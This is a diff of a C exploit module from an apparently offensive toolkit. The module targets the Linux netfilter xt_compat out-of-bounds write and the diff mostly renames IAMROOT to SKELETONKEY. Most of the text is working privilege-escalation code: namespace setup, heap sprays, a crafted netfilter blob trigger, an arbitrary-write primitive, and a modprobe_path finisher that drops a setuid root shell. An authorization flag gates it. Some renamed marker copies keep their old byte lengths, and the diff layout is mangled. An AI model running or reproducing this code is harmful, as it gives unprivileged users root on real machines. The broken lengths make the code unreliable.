static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
pid_t pid = fork();
|
/* Consult the shared host fingerprint instead of calling
|
||||||
if (pid < 0) return -1;
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
if (pid == 0) {
|
* and identical across every module's detect(). */
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
_exit(1);
|
if (!v || v->major == 0) {
|
||||||
}
|
if (!ctx->json)
|
||||||
int status;
|
fprintf(stderr, "[!] netfilter_xtcompat: host fingerprint missing kernel "
|
||||||
waitpid(pid, &status, 0);
|
"version — bailing\n");
|
||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 2, 6, 0)) {
|
||||||
{
|
|
||||||
struct kernel_version v;
|
|
||||||
if (!kernel_version_current(&v)) {
|
|
||||||
fprintf(stderr, "[!] netfilter_xtcompat: could not parse kernel version\n");
|
|
||||||
return IAMROOT_TEST_ERROR;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (v.major < 2 || (v.major == 2 && v.minor < 6)) {
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s predates the bug introduction\n",
|
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s predates the bug introduction\n",
|
||||||
v.release);
|
v->release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, &v);
|
bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns();
|
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] netfilter_xtcompat: kernel %s in vulnerable range "
|
fprintf(stderr, "[i] netfilter_xtcompat: kernel %s in vulnerable range "
|
||||||
"(bug existed since 2.6.19, 2006)\n", v.release);
|
"(bug existed since 2.6.19, 2006)\n", v->release);
|
||||||
fprintf(stderr, "[i] netfilter_xtcompat: user_ns+net_ns clone: %s\n",
|
fprintf(stderr, "[i] netfilter_xtcompat: user_ns+net_ns clone: %s\n",
|
||||||
userns_ok == 1 ? "ALLOWED" :
|
userns_ok ? "ALLOWED" : "DENIED");
|
||||||
userns_ok == 0 ? "DENIED" : "could not test");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (userns_ok == 0) {
|
if (!userns_ok) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] netfilter_xtcompat: user_ns denied → "
|
fprintf(stderr, "[+] netfilter_xtcompat: user_ns denied → "
|
||||||
"unprivileged exploit path unreachable\n");
|
"unprivileged exploit path unreachable\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] netfilter_xtcompat: VULNERABLE — kernel in range "
|
fprintf(stderr, "[!] netfilter_xtcompat: VULNERABLE — kernel in range "
|
||||||
"AND user_ns reachable\n");
|
"AND user_ns reachable\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Exploit: userns reach + trigger + groom ---------------------- */
|
/* ---- Exploit: userns reach + trigger + groom ---------------------- */
|
||||||
|
|
||||||
#ifdef __linux__
|
|
||||||
|
|
||||||
/* Write uid_map and gid_map after unshare so we're root in userns.
|
/* Write uid_map and gid_map after unshare so we're root in userns.
|
||||||
* This is the standard setgroups=deny pattern; without it the uid_map
|
* This is the standard setgroups=deny pattern; without it the uid_map
|
||||||
* write is rejected on modern kernels for unprivileged callers. */
|
* write is rejected on modern kernels for unprivileged callers. */
|
||||||
@@ -252,11 +219,11 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES])
|
|||||||
struct xtcompat_payload *p = calloc(1, sizeof(*p));
|
struct xtcompat_payload *p = calloc(1, sizeof(*p));
|
||||||
if (!p) return 0;
|
if (!p) return 0;
|
||||||
p->mtype = 0x42;
|
p->mtype = 0x42;
|
||||||
/* 0x41 ('A') fill with leading "IAMROOT2" cookie so adjacent-
|
/* 0x41 ('A') fill with leading "SKELETONKEY2" cookie so adjacent-
|
||||||
* slot corruption is recognizable in /tmp/iamroot-xtcompat.log
|
* slot corruption is recognizable in /tmp/skeletonkey-xtcompat.log
|
||||||
* and in KASAN/oops dumps. */
|
* and in KASAN/oops dumps. */
|
||||||
memset(p->buf, 0x41, sizeof p->buf);
|
memset(p->buf, 0x41, sizeof p->buf);
|
||||||
memcpy(p->buf, "IAMROOT2", 8);
|
memcpy(p->buf, "SKELETONKEY2", 8);
|
||||||
|
|
||||||
int created = 0;
|
int created = 0;
|
||||||
for (int i = 0; i < XTCOMPAT_SPRAY_QUEUES; i++) {
|
for (int i = 0; i < XTCOMPAT_SPRAY_QUEUES; i++) {
|
||||||
@@ -278,7 +245,7 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES])
|
|||||||
}
|
}
|
||||||
|
|
||||||
/* Walk every queue, peek-copy each message (MSG_COPY = read without
|
/* Walk every queue, peek-copy each message (MSG_COPY = read without
|
||||||
* dequeue), and look for any whose first 8 bytes are NOT "IAMROOT2".
|
* dequeue), and look for any whose first 8 bytes are NOT "SKELETONKEY2".
|
||||||
* A non-matching prefix is the empirical witness for the OOB write
|
* A non-matching prefix is the empirical witness for the OOB write
|
||||||
* landing in an adjacent slot. Returns the count of corrupted slots. */
|
* landing in an adjacent slot. Returns the count of corrupted slots. */
|
||||||
static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
|
static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
|
||||||
@@ -292,7 +259,7 @@ static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
|
|||||||
ssize_t n = msgrcv(queues[i], p, sizeof p->buf, 0,
|
ssize_t n = msgrcv(queues[i], p, sizeof p->buf, 0,
|
||||||
MSG_COPY | IPC_NOWAIT | 0x2000 /* MSG_NOERROR */);
|
MSG_COPY | IPC_NOWAIT | 0x2000 /* MSG_NOERROR */);
|
||||||
if (n < 0) break;
|
if (n < 0) break;
|
||||||
if (memcmp(p->buf, "IAMROOT2", 8) != 0) {
|
if (memcmp(p->buf, "SKELETONKEY2", 8) != 0) {
|
||||||
corrupted++;
|
corrupted++;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -324,7 +291,7 @@ static void xtcompat_skb_spray(int iters)
|
|||||||
unsigned char *buf = malloc(1800);
|
unsigned char *buf = malloc(1800);
|
||||||
if (!buf) { close(sv[0]); close(sv[1]); return; }
|
if (!buf) { close(sv[0]); close(sv[1]); return; }
|
||||||
memset(buf, 0x41, 1800);
|
memset(buf, 0x41, 1800);
|
||||||
memcpy(buf, "IAMROOTSKB", 10);
|
memcpy(buf, "SKELETONKEYSKB", 10);
|
||||||
struct iovec iov = { .iov_base = buf, .iov_len = 1800 };
|
struct iovec iov = { .iov_base = buf, .iov_len = 1800 };
|
||||||
struct mmsghdr mm[32];
|
struct mmsghdr mm[32];
|
||||||
for (int i = 0; i < 32; i++) {
|
for (int i = 0; i < 32; i++) {
|
||||||
@@ -395,10 +362,10 @@ static bool xtcompat_build_blob(unsigned char **out_buf, size_t *out_len)
|
|||||||
|
|
||||||
/* Plant a recognizable marker so a vulnerable kernel's compat
|
/* Plant a recognizable marker so a vulnerable kernel's compat
|
||||||
* decoder reads our crafted entry rather than zeroed memory.
|
* decoder reads our crafted entry rather than zeroed memory.
|
||||||
* Marker is intentionally "IAMROOT\0" so a KASAN report's hex
|
* Marker is intentionally "SKELETONKEY\0" so a KASAN report's hex
|
||||||
* dump points back here. */
|
* dump points back here. */
|
||||||
unsigned char *entry_region = blob + sizeof(*r);
|
unsigned char *entry_region = blob + sizeof(*r);
|
||||||
memcpy(entry_region, "IAMROOTX", 8);
|
memcpy(entry_region, "SKELETONKEYX", 8);
|
||||||
/* The xt_entry_target sits at entry_region + sizeof(ipt_entry).
|
/* The xt_entry_target sits at entry_region + sizeof(ipt_entry).
|
||||||
* Its `u.target_size` field is the lever Andy bends to underflow
|
* Its `u.target_size` field is the lever Andy bends to underflow
|
||||||
* the pad-out write: setting target_size to a value such that
|
* the pad-out write: setting target_size to a value such that
|
||||||
@@ -471,8 +438,6 @@ static int xtcompat_fire_trigger(int *out_errno)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
#endif /* __linux__ — close original primitive block */
|
|
||||||
|
|
||||||
/* ---- Full-chain arb-write primitive --------------------------------
|
/* ---- Full-chain arb-write primitive --------------------------------
|
||||||
*
|
*
|
||||||
* Pattern (FALLBACK — see module top-comment): the xt_compat 4-byte OOB
|
* Pattern (FALLBACK — see module top-comment): the xt_compat 4-byte OOB
|
||||||
@@ -509,8 +474,6 @@ static int xtcompat_fire_trigger(int *out_errno)
|
|||||||
* patched kernel the trigger returns EINVAL on step 2 and arb_write
|
* patched kernel the trigger returns EINVAL on step 2 and arb_write
|
||||||
* returns -1 without ever queueing the follow-up. */
|
* returns -1 without ever queueing the follow-up. */
|
||||||
|
|
||||||
#ifdef __linux__
|
|
||||||
|
|
||||||
struct xtcompat_arb_ctx {
|
struct xtcompat_arb_ctx {
|
||||||
/* Spray queues kept hot across multiple arb_write calls. The
|
/* Spray queues kept hot across multiple arb_write calls. The
|
||||||
* msg_msg slots seeded here are what the finisher uses as
|
* msg_msg slots seeded here are what the finisher uses as
|
||||||
@@ -524,7 +487,7 @@ struct xtcompat_arb_ctx {
|
|||||||
uid_t outer_uid;
|
uid_t outer_uid;
|
||||||
gid_t outer_gid;
|
gid_t outer_gid;
|
||||||
|
|
||||||
/* Per-call statistics for /tmp/iamroot-xtcompat.log. */
|
/* Per-call statistics for /tmp/skeletonkey-xtcompat.log. */
|
||||||
int arb_calls;
|
int arb_calls;
|
||||||
int arb_landed;
|
int arb_landed;
|
||||||
};
|
};
|
||||||
@@ -541,7 +504,7 @@ static int xtcompat_arb_seed_target(struct xtcompat_arb_ctx *c,
|
|||||||
if (!p) return 0;
|
if (!p) return 0;
|
||||||
p->mtype = 0x43;
|
p->mtype = 0x43;
|
||||||
memset(p->buf, 0x41, sizeof p->buf);
|
memset(p->buf, 0x41, sizeof p->buf);
|
||||||
memcpy(p->buf, "IAMROOTW", 8);
|
memcpy(p->buf, "SKELETONKEYW", 8);
|
||||||
/* Plant the target address at every 0x800-aligned slot inside
|
/* Plant the target address at every 0x800-aligned slot inside
|
||||||
* the payload, so wherever the kernel's m_list_next sits
|
* the payload, so wherever the kernel's m_list_next sits
|
||||||
* relative to our payload base, the candidate value is present. */
|
* relative to our payload base, the candidate value is present. */
|
||||||
@@ -636,52 +599,48 @@ static int xtcompat_arb_write(uintptr_t kaddr,
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
#endif /* __linux__ */
|
|
||||||
|
|
||||||
/* ---- Exploit driver ---------------------------------------------- */
|
/* ---- Exploit driver ---------------------------------------------- */
|
||||||
|
|
||||||
static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
/* 1. Refuse-gate: re-confirm vulnerability through detect(). */
|
/* 1. Refuse-gate: re-confirm vulnerability through detect(). */
|
||||||
iamroot_result_t pre = netfilter_xtcompat_detect(ctx);
|
skeletonkey_result_t pre = netfilter_xtcompat_detect(ctx);
|
||||||
if (pre == IAMROOT_OK && geteuid() == 0) {
|
/* Consult ctx->host first so unit tests can construct a non-root
|
||||||
|
* fingerprint regardless of the test process's real euid. */
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (pre == SKELETONKEY_OK && is_root) {
|
||||||
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] netfilter_xtcompat: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
if (!ctx->authorized) {
|
if (!ctx->authorized) {
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: --i-know not passed; refusing\n");
|
fprintf(stderr, "[-] netfilter_xtcompat: --i-know not passed; refusing\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifndef __linux__
|
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: linux-only exploit; non-linux build\n");
|
|
||||||
(void)ctx;
|
|
||||||
return IAMROOT_PRECOND_FAIL;
|
|
||||||
#else
|
|
||||||
/* Full-chain pre-check: resolve offsets before forking. If
|
/* Full-chain pre-check: resolve offsets before forking. If
|
||||||
* modprobe_path can't be resolved, refuse early with the manual-
|
* modprobe_path can't be resolved, refuse early with the manual-
|
||||||
* workflow help — no point doing the userns + spray + trigger
|
* workflow help — no point doing the userns + spray + trigger
|
||||||
* dance if we can't finish. */
|
* dance if we can't finish. */
|
||||||
struct iamroot_kernel_offsets off;
|
struct skeletonkey_kernel_offsets off;
|
||||||
bool full_chain_ready = false;
|
bool full_chain_ready = false;
|
||||||
if (ctx->full_chain) {
|
if (ctx->full_chain) {
|
||||||
memset(&off, 0, sizeof off);
|
memset(&off, 0, sizeof off);
|
||||||
iamroot_offsets_resolve(&off);
|
skeletonkey_offsets_resolve(&off);
|
||||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||||
iamroot_finisher_print_offset_help("netfilter_xtcompat");
|
skeletonkey_finisher_print_offset_help("netfilter_xtcompat");
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain requested but "
|
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain requested but "
|
||||||
"modprobe_path offset unresolved; refusing\n");
|
"modprobe_path offset unresolved; refusing\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
iamroot_offsets_print(&off);
|
skeletonkey_offsets_print(&off);
|
||||||
full_chain_ready = true;
|
full_chain_ready = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -705,7 +664,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
|||||||
pid_t child = fork();
|
pid_t child = fork();
|
||||||
if (child < 0) {
|
if (child < 0) {
|
||||||
perror("fork");
|
perror("fork");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (child == 0) {
|
if (child == 0) {
|
||||||
@@ -771,7 +730,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
|||||||
long post_slab = slab_active_kmalloc_2k();
|
long post_slab = slab_active_kmalloc_2k();
|
||||||
|
|
||||||
/* Breadcrumb for post-run triage. */
|
/* Breadcrumb for post-run triage. */
|
||||||
FILE *log = fopen("/tmp/iamroot-xtcompat.log", "w");
|
FILE *log = fopen("/tmp/skeletonkey-xtcompat.log", "w");
|
||||||
if (log) {
|
if (log) {
|
||||||
fprintf(log,
|
fprintf(log,
|
||||||
"netfilter_xtcompat trigger child: queues=%d trig_errno=%d "
|
"netfilter_xtcompat trigger child: queues=%d trig_errno=%d "
|
||||||
@@ -810,20 +769,20 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
|||||||
.arb_calls = 0,
|
.arb_calls = 0,
|
||||||
.arb_landed = 0,
|
.arb_landed = 0,
|
||||||
};
|
};
|
||||||
int fr = iamroot_finisher_modprobe_path(&off,
|
int fr = skeletonkey_finisher_modprobe_path(&off,
|
||||||
xtcompat_arb_write,
|
xtcompat_arb_write,
|
||||||
&arb_ctx,
|
&arb_ctx,
|
||||||
!ctx->no_shell);
|
!ctx->no_shell);
|
||||||
/* If the finisher execve'd a root shell, we never get
|
/* If the finisher execve'd a root shell, we never get
|
||||||
* here. Otherwise it returned EXPLOIT_FAIL / OK. */
|
* here. Otherwise it returned EXPLOIT_FAIL / OK. */
|
||||||
FILE *fl = fopen("/tmp/iamroot-xtcompat.log", "a");
|
FILE *fl = fopen("/tmp/skeletonkey-xtcompat.log", "a");
|
||||||
if (fl) {
|
if (fl) {
|
||||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
|
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
|
||||||
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
|
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
|
||||||
fclose(fl);
|
fclose(fl);
|
||||||
}
|
}
|
||||||
xtcompat_msgmsg_drain(queues);
|
xtcompat_msgmsg_drain(queues);
|
||||||
if (fr == IAMROOT_EXPLOIT_OK) _exit(34);
|
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
|
||||||
_exit(35);
|
_exit(35);
|
||||||
}
|
}
|
||||||
/* Primitive-only mode: still NOT root — but it's the
|
/* Primitive-only mode: still NOT root — but it's the
|
||||||
@@ -836,11 +795,11 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
|||||||
_exit(30);
|
_exit(30);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* PARENT: reap child + map exit code → iamroot_result. */
|
/* PARENT: reap child + map exit code → skeletonkey_result. */
|
||||||
int status = 0;
|
int status = 0;
|
||||||
if (waitpid(child, &status, 0) < 0) {
|
if (waitpid(child, &status, 0) < 0) {
|
||||||
perror("waitpid");
|
perror("waitpid");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (WIFSIGNALED(status)) {
|
if (WIFSIGNALED(status)) {
|
||||||
@@ -850,14 +809,14 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
|||||||
"(crash during trigger — OOB likely fired)\n", sig);
|
"(crash during trigger — OOB likely fired)\n", sig);
|
||||||
fprintf(stderr, "[~] netfilter_xtcompat: empirical OOB witness but no "
|
fprintf(stderr, "[~] netfilter_xtcompat: empirical OOB witness but no "
|
||||||
"cred-overwrite primitive — returning EXPLOIT_FAIL\n"
|
"cred-overwrite primitive — returning EXPLOIT_FAIL\n"
|
||||||
" See /tmp/iamroot-xtcompat.log + dmesg for KASAN/oops.\n");
|
" See /tmp/skeletonkey-xtcompat.log + dmesg for KASAN/oops.\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
if (!WIFEXITED(status)) {
|
if (!WIFEXITED(status)) {
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: child terminated abnormally (status=0x%x)\n",
|
fprintf(stderr, "[-] netfilter_xtcompat: child terminated abnormally (status=0x%x)\n",
|
||||||
status);
|
status);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
int rc = WEXITSTATUS(status);
|
int rc = WEXITSTATUS(status);
|
||||||
@@ -866,25 +825,25 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: userns setup failed (rc=%d)\n", rc);
|
fprintf(stderr, "[-] netfilter_xtcompat: userns setup failed (rc=%d)\n", rc);
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
case 22:
|
case 22:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: msg_msg spray failed; sysvipc may be "
|
fprintf(stderr, "[-] netfilter_xtcompat: msg_msg spray failed; sysvipc may be "
|
||||||
"restricted (kernel.msg_max / ulimit -q)\n");
|
"restricted (kernel.msg_max / ulimit -q)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
case 23:
|
case 23:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: CAP_NET_ADMIN unreachable in userns — "
|
fprintf(stderr, "[-] netfilter_xtcompat: CAP_NET_ADMIN unreachable in userns — "
|
||||||
"exploit path closed\n");
|
"exploit path closed\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
case 24:
|
case 24:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: socket/blob setup failed; "
|
fprintf(stderr, "[-] netfilter_xtcompat: socket/blob setup failed; "
|
||||||
"see preceding errno\n");
|
"see preceding errno\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
case 30:
|
case 30:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] netfilter_xtcompat: trigger ran; no msg_msg corruption "
|
fprintf(stderr, "[*] netfilter_xtcompat: trigger ran; no msg_msg corruption "
|
||||||
@@ -892,19 +851,19 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
|||||||
fprintf(stderr, "[~] netfilter_xtcompat: returning EXPLOIT_FAIL (primitive "
|
fprintf(stderr, "[~] netfilter_xtcompat: returning EXPLOIT_FAIL (primitive "
|
||||||
"may have fired but did not land on sprayed slots)\n");
|
"may have fired but did not land on sprayed slots)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
case 31:
|
case 31:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] netfilter_xtcompat: kernel rejected blob with EINVAL — "
|
fprintf(stderr, "[+] netfilter_xtcompat: kernel rejected blob with EINVAL — "
|
||||||
"appears patched at runtime (validator)\n");
|
"appears patched at runtime (validator)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
case 32:
|
case 32:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] netfilter_xtcompat: setsockopt EPERM — CAP_NET_ADMIN "
|
fprintf(stderr, "[+] netfilter_xtcompat: setsockopt EPERM — CAP_NET_ADMIN "
|
||||||
"not effective in userns on this kernel\n");
|
"not effective in userns on this kernel\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
case 33:
|
case 33:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] netfilter_xtcompat: msg_msg slot corruption WITNESSED — "
|
fprintf(stderr, "[!] netfilter_xtcompat: msg_msg slot corruption WITNESSED — "
|
||||||
@@ -918,38 +877,37 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
|||||||
" attacker-controlled — read-where via msgrcv.\n"
|
" attacker-controlled — read-where via msgrcv.\n"
|
||||||
" 2. Use that leak to find &init_task and\n"
|
" 2. Use that leak to find &init_task and\n"
|
||||||
" modprobe_path in kernel .data — both offsets\n"
|
" modprobe_path in kernel .data — both offsets\n"
|
||||||
" are per-kernel-build and IAMROOT refuses to\n"
|
" are per-kernel-build and SKELETONKEY refuses to\n"
|
||||||
" bake them.\n"
|
" bake them.\n"
|
||||||
" 3. Pivot to a write-where via a fake msg_msgseg\n"
|
" 3. Pivot to a write-where via a fake msg_msgseg\n"
|
||||||
" and overwrite modprobe_path → exec a setuid\n"
|
" and overwrite modprobe_path → exec a setuid\n"
|
||||||
" helper for root pop.\n"
|
" helper for root pop.\n"
|
||||||
" See Andy Nguyen's writeup for the full chain.\n");
|
" See Andy Nguyen's writeup for the full chain.\n");
|
||||||
}
|
}
|
||||||
if (ctx->no_shell) return IAMROOT_OK;
|
if (ctx->no_shell) return SKELETONKEY_OK;
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
case 34:
|
case 34:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] netfilter_xtcompat: --full-chain finisher reported "
|
fprintf(stderr, "[+] netfilter_xtcompat: --full-chain finisher reported "
|
||||||
"EXPLOIT_OK (sentinel setuid bash dropped)\n");
|
"EXPLOIT_OK (sentinel setuid bash dropped)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
case 35:
|
case 35:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain finisher returned "
|
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain finisher returned "
|
||||||
"FAIL (sentinel not observed within timeout)\n"
|
"FAIL (sentinel not observed within timeout)\n"
|
||||||
" See /tmp/iamroot-xtcompat.log for arb_calls/arb_landed\n");
|
" See /tmp/skeletonkey-xtcompat.log for arb_calls/arb_landed\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
default:
|
default:
|
||||||
fprintf(stderr, "[-] netfilter_xtcompat: child exit %d unexpected\n", rc);
|
fprintf(stderr, "[-] netfilter_xtcompat: child exit %d unexpected\n", rc);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
#endif /* __linux__ */
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Cleanup ----------------------------------------------------- */
|
/* ---- Cleanup ----------------------------------------------------- */
|
||||||
|
|
||||||
static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] netfilter_xtcompat: removing log + best-effort msg queue cleanup\n");
|
fprintf(stderr, "[*] netfilter_xtcompat: removing log + best-effort msg queue cleanup\n");
|
||||||
@@ -957,12 +915,39 @@ static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx
|
|||||||
/* The msg queues live in the child's IPC namespace which dies
|
/* The msg queues live in the child's IPC namespace which dies
|
||||||
* with the child — so the in-process drain already handled them.
|
* with the child — so the in-process drain already handled them.
|
||||||
* The /tmp breadcrumb survives, remove it here. */
|
* The /tmp breadcrumb survives, remove it here. */
|
||||||
if (unlink("/tmp/iamroot-xtcompat.log") < 0 && errno != ENOENT) {
|
if (unlink("/tmp/skeletonkey-xtcompat.log") < 0 && errno != ENOENT) {
|
||||||
/* harmless */
|
/* harmless */
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: setsockopt(IPT_SO_SET_REPLACE) + nfnetlink +
|
||||||
|
* userns is Linux-only kernel surface. Stub out cleanly so the module
|
||||||
|
* still registers and `--list` / `--detect-rules` work on macOS/BSD
|
||||||
|
* dev boxes — and so the top-level `make` actually completes there. */
|
||||||
|
